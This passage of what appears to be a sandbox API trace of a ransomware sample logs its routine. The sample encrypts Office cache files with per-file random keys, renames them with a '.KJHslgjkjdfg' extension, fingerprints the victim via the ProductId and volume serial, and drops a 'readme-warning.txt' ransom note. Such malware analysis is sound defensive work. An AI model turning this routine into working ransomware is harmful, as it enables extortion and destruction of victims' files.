users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab.kjhslgjkjdfg")) returned 1 [0157.988] CloseHandle (hObject=0xf0) returned 1 [0157.988] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xfc0c60c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="branding.xml", cAlternateFileName="")) returned 1 [0157.988] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0157.992] GetProcessHeap () returned 0x990000 [0157.992] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0157.992] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0157.992] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0157.992] WriteFile (in: hFile=0xf0, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xb, lpOverlapped=0x0) returned 1 [0157.995] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0157.995] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0157.995] GetProcessHeap () returned 0x990000 [0157.995] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0157.995] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0157.995] CryptDestroyKey (hKey=0x9b6628) returned 1 [0157.995] WriteFile (in: hFile=0xf0, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0157.995] WriteFile (in: hFile=0xf0, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0157.996] WriteFile (in: hFile=0xf0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0157.996] WriteFile (in: hFile=0xf0, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0157.996] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0157.996] WriteFile (in: hFile=0xf0, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0157.996] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0157.996] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0157.996] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.997] ReadFile (in: hFile=0xf0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x91975, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x91975, lpOverlapped=0x0) returned 1 [0158.280] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x91980, dwBufLen=0x91980 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x91980) returned 1 [0158.287] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.287] WriteFile (in: hFile=0xf0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x91980, lpOverlapped=0x0) returned 1 [0158.288] CryptDestroyKey (hKey=0x9b6628) returned 1 [0158.289] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x91a54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.289] SetEndOfFile (hFile=0xf0) returned 1 [0158.292] GetProcessHeap () returned 0x990000 [0158.292] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0158.292] GetProcessHeap () returned 0x990000 [0158.292] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0158.292] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml.kjhslgjkjdfg")) returned 1 [0158.301] CloseHandle (hObject=0xf0) returned 1 [0158.301] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xfc0c60c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="branding.xml", cAlternateFileName="")) returned 0 [0158.301] GetProcessHeap () returned 0x990000 [0158.301] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0158.301] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0158.301] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29df0a8 | out: pbData=0x9af7b0, pdwDataLen=0x29df0a8) returned 1 [0158.301] CryptDestroyKey (hKey=0x9b6628) returned 1 [0158.301] GetProcessHeap () returned 0x990000 [0158.301] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0158.301] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0158.301] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29df0a8 | out: pbData=0x9af7f8, pdwDataLen=0x29df0a8) returned 1 [0158.301] CryptDestroyKey (hKey=0x9b6628) returned 1 [0158.301] GetProcessHeap () returned 0x990000 [0158.301] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9b78c0 [0158.301] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0158.302] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b78c0, pdwDataLen=0x29df0a8 | out: pbData=0x9b78c0, pdwDataLen=0x29df0a8) returned 1 [0158.302] CryptDestroyKey (hKey=0x9b6628) returned 1 [0158.302] GetProcessHeap () returned 0x990000 [0158.302] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0158.302] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0158.302] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dec88 | out: pbData=0x9af840, pdwDataLen=0x29dec88) returned 1 [0158.302] CryptDestroyKey (hKey=0x9b6628) returned 1 [0158.302] GetProcessHeap () returned 0x990000 [0158.302] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b1918 [0158.302] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0158.302] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b1918, pdwDataLen=0x29dec88 | out: pbData=0x9b1918, pdwDataLen=0x29dec88) returned 1 [0158.302] CryptDestroyKey (hKey=0x9b6628) returned 1 [0158.302] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29dec84 | out: phkResult=0x29dec84*=0xf0) returned 0x0 [0158.302] RegQueryValueExA (in: hKey=0xf0, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dec90, lpcbData=0x29dec8c*=0x400 | out: lpType=0x0, lpData=0x29dec90*=0x30, lpcbData=0x29dec8c*=0x18) returned 0x0 [0158.302] RegCloseKey (hKey=0xf0) returned 0x0 [0158.302] GetProcessHeap () returned 0x990000 [0158.302] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0158.302] GetProcessHeap () returned 0x990000 [0158.303] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1918 | out: hHeap=0x990000) returned 1 [0158.303] GetProcessHeap () returned 0x990000 [0158.303] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b1918 [0158.303] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de9f8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0158.303] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b1918, pdwDataLen=0x29dea5c | out: pbData=0x9b1918, pdwDataLen=0x29dea5c) returned 1 [0158.303] CryptDestroyKey (hKey=0x9b6628) returned 1 [0158.303] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29dea60, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0158.303] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29dea58, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29dea58*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0158.303] GetProcessHeap () returned 0x990000 [0158.303] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1918 | out: hHeap=0x990000) returned 1 [0158.303] wsprintfA (in: param_1=0x29deca7, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0158.303] wsprintfA (in: param_1=0x29df0b4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0158.303] GetProcessHeap () returned 0x990000 [0158.303] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b7c88 [0158.303] wsprintfW (in: param_1=0x29de084, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\readme-warning.txt") returned 94 [0158.304] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\readme-warning.txt" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0158.304] WriteFile (in: hFile=0xf0, lpBuffer=0x9b7c88*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29de080, lpOverlapped=0x0 | out: lpBuffer=0x9b7c88*, lpNumberOfBytesWritten=0x29de080*=0x3b3, lpOverlapped=0x0) returned 1 [0158.305] CloseHandle (hObject=0xf0) returned 1 [0158.305] GetProcessHeap () returned 0x990000 [0158.305] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0158.305] GetProcessHeap () returned 0x990000 [0158.305] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7c88 | out: hHeap=0x990000) returned 1 [0158.305] GetProcessHeap () returned 0x990000 [0158.305] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0158.305] GetProcessHeap () returned 0x990000 [0158.305] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0158.305] FindClose (in: hFindFile=0x9b64e8 | out: hFindFile=0x9b64e8) returned 1 [0158.305] GetProcessHeap () returned 0x990000 [0158.305] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dc8a8 | out: hHeap=0x990000) returned 1 [0158.305] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa160f00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AccessMUISet.msi", cAlternateFileName="ACCESS~1.MSI")) returned 1 [0158.306] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0158.306] GetProcessHeap () returned 0x990000 [0158.306] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0158.306] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0158.306] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0158.306] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0158.306] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0158.306] GetProcessHeap () returned 0x990000 [0158.306] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0158.306] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40) returned 1 [0158.306] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0158.306] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f8*=0x40, lpOverlapped=0x0) returned 1 [0158.329] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0158.329] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0158.329] WriteFile (in: hFile=0x124, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0158.329] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0158.329] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0158.329] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0158.329] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0158.330] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.330] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xd4200, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0xd4200, lpOverlapped=0x0) returned 1 [0158.638] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0xd4200, dwBufLen=0xd4200 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0xd4200) returned 1 [0158.648] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.649] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xd4200, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0xd4200, lpOverlapped=0x0) returned 1 [0158.652] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0158.652] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd42d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.652] SetEndOfFile (hFile=0x124) returned 1 [0158.657] GetProcessHeap () returned 0x990000 [0158.657] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0158.657] GetProcessHeap () returned 0x990000 [0158.657] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0158.657] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi.kjhslgjkjdfg")) returned 1 [0158.658] CloseHandle (hObject=0x124) returned 1 [0158.658] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AccessMUISet.xml", cAlternateFileName="ACCESS~1.XML")) returned 1 [0158.658] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0158.658] GetProcessHeap () returned 0x990000 [0158.658] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0158.658] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0158.658] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0158.659] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0xd, lpOverlapped=0x0) returned 1 [0158.681] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0158.681] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0158.681] GetProcessHeap () returned 0x990000 [0158.681] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0158.681] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40) returned 1 [0158.681] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0158.681] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f8*=0x40, lpOverlapped=0x0) returned 1 [0158.681] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0158.681] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0158.682] WriteFile (in: hFile=0x124, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0158.682] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0158.682] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0158.682] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0158.682] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0158.682] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.682] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x333, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0x333, lpOverlapped=0x0) returned 1 [0158.682] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x340, dwBufLen=0x340 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x340) returned 1 [0158.682] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.682] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0x340, lpOverlapped=0x0) returned 1 [0158.682] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0158.682] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x414, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.682] SetEndOfFile (hFile=0x124) returned 1 [0158.685] GetProcessHeap () returned 0x990000 [0158.685] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0158.685] GetProcessHeap () returned 0x990000 [0158.685] 